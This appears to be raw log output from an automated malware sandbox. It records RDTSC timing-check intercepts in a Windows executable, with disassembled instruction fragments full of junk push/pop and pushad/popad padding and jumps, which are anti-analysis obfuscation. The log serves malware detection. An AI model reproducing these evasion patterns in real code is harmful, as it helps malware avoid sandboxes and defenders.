Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FDEA9 second address: 9FDEB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FDEB1 second address: 9FDEB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FDEB5 second address: 9FDEBB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FE165 second address: 9FE169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FE169 second address: 9FE172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FE2E3 second address: 9FE2F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4EBA081h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FE2F8 second address: 9FE306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FA6C4CAD50Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FE306 second address: 9FE30C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FE30C second address: 9FE313 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FE313 second address: 9FE319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FE319 second address: 9FE321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FD7DE second address: 9FD7E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FD7E2 second address: 9FD7FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA6C4CAD512h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FD7FC second address: 9FD80E instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA6C4EBA076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FA6C4EBA082h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FD80E second address: 9FD822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FA6C4CAD506h 0x0000000a popad 0x0000000b push eax 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FE85C second address: 9FE860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9FE860 second address: 9FE877 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD513h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A08E03 second address: A08E0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FA6C4EBA076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A08E0D second address: A08E11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A08E11 second address: A08E30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FA6C4EBA076h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 push edx 0x00000017 pop edx 0x00000018 pop edi 0x00000019 push eax 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A08E30 second address: A08E3E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnc 00007FA6C4CAD506h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A08E3E second address: A08E42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A07780 second address: A07784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A07A72 second address: A07A88 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FA6C4EBA07Dh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A07DA8 second address: A07DAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A08654 second address: A08670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA6C4EBA07Dh 0x0000000c jno 00007FA6C4EBA078h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A08670 second address: A08676 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A08676 second address: A0867C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A08C53 second address: A08C57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A0D66A second address: A0D677 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A0D677 second address: A0D67C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A0C4D9 second address: A0C4E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FA6C4EBA076h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A0C4E8 second address: A0C4EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A0C4EC second address: A0C4F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C66A1 second address: 9C66F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD518h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D1948h], edi 0x00000013 lea eax, dword ptr [ebp+124913E3h] 0x00000019 call 00007FA6C4CAD512h 0x0000001e xor ecx, 4D87FCA5h 0x00000024 pop edx 0x00000025 nop 0x00000026 js 00007FA6C4CAD514h 0x0000002c pushad 0x0000002d jns 00007FA6C4CAD506h 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C6DBB second address: 9C6DC9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA6C4EBA076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C6DC9 second address: 9C6DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C6F11 second address: 9C6F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C712A second address: 9C7136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C7136 second address: 9C713A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C713A second address: 9C7140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C7140 second address: 9C7146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C7146 second address: 9C71AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD518h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007FA6C4CAD508h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov cx, dx 0x00000029 push 00000004h 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007FA6C4CAD508h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 00000016h 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 push eax 0x00000046 push ebx 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A0C978 second address: A0C9B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4EBA080h 0x00000007 pushad 0x00000008 jmp 00007FA6C4EBA085h 0x0000000d jmp 00007FA6C4EBA07Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A0CB00 second address: A0CB2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 jmp 00007FA6C4CAD511h 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 je 00007FA6C4CAD510h 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A0CEE9 second address: A0CEF3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA6C4EBA07Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A0CEF3 second address: A0CF09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FA6C4CAD50Ch 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A0CF09 second address: A0CF0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A0EE1A second address: A0EE21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A0EE21 second address: A0EE27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A13914 second address: A1391A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A1391A second address: A13939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4EBA089h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A13BDA second address: A13BFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD516h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FA6C4CAD506h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A174B7 second address: A174C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A174C1 second address: A174E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA6C4CAD519h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A174E5 second address: A17515 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FA6C4EBA082h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FA6C4EBA088h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A1AFC0 second address: A1B020 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FA6C4CAD518h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007FA6C4CAD513h 0x00000019 jbe 00007FA6C4CAD506h 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 popad 0x00000022 jng 00007FA6C4CAD519h 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A1B020 second address: A1B024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A1B024 second address: A1B028 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A1B28F second address: A1B2A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jc 00007FA6C4EBA081h 0x0000000b jmp 00007FA6C4EBA07Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A1B2A5 second address: A1B2CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push esi 0x00000007 jnl 00007FA6C4CAD506h 0x0000000d pop esi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA6C4CAD517h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A2214D second address: A22157 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA6C4EBA076h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A20B28 second address: A20B2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A20B2C second address: A20B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A20B32 second address: A20B38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A20E0F second address: A20E19 instructions: 0x00000000 rdtsc 0x00000002 je 00007FA6C4EBA076h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A20F5A second address: A20F60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A20F60 second address: A20F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FA6C4EBA076h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A20F70 second address: A20F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A20F74 second address: A20F78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A20F78 second address: A20F9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007FA6C4CAD506h 0x0000000e jmp 00007FA6C4CAD514h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A20F9A second address: A20F9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A20F9E second address: A20FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007FA6C4CAD515h 0x00000011 jmp 00007FA6C4CAD50Fh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A20FBE second address: A20FC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A21145 second address: A21149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A21149 second address: A2115A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4EBA07Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A2115A second address: A21163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A21163 second address: A21198 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4EBA07Eh 0x00000009 jg 00007FA6C4EBA076h 0x0000000f popad 0x00000010 jmp 00007FA6C4EBA07Dh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FA6C4EBA07Dh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A21198 second address: A2119C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C739B second address: 9C73A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C73A1 second address: 9C73A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C73A5 second address: 9C7405 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007FA6C4EBA078h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 pushad 0x00000026 or ax, 0AAEh 0x0000002b or edi, dword ptr [ebp+122D38CFh] 0x00000031 popad 0x00000032 push 00000004h 0x00000034 jns 00007FA6C4EBA084h 0x0000003a nop 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FA6C4EBA081h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C7405 second address: 9C742E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FA6C4CAD506h 0x00000009 jmp 00007FA6C4CAD517h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C742E second address: 9C7439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FA6C4EBA076h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 9C7397 second address: 9C739B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A28282 second address: A28286 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A28286 second address: A2828E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A2828E second address: A28294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A28294 second address: A282DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007FA6C4CAD519h 0x0000000f jo 00007FA6C4CAD506h 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FA6C4CAD512h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FA6C4CAD50Ah 0x00000024 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A282DE second address: A282E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A282E2 second address: A282E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
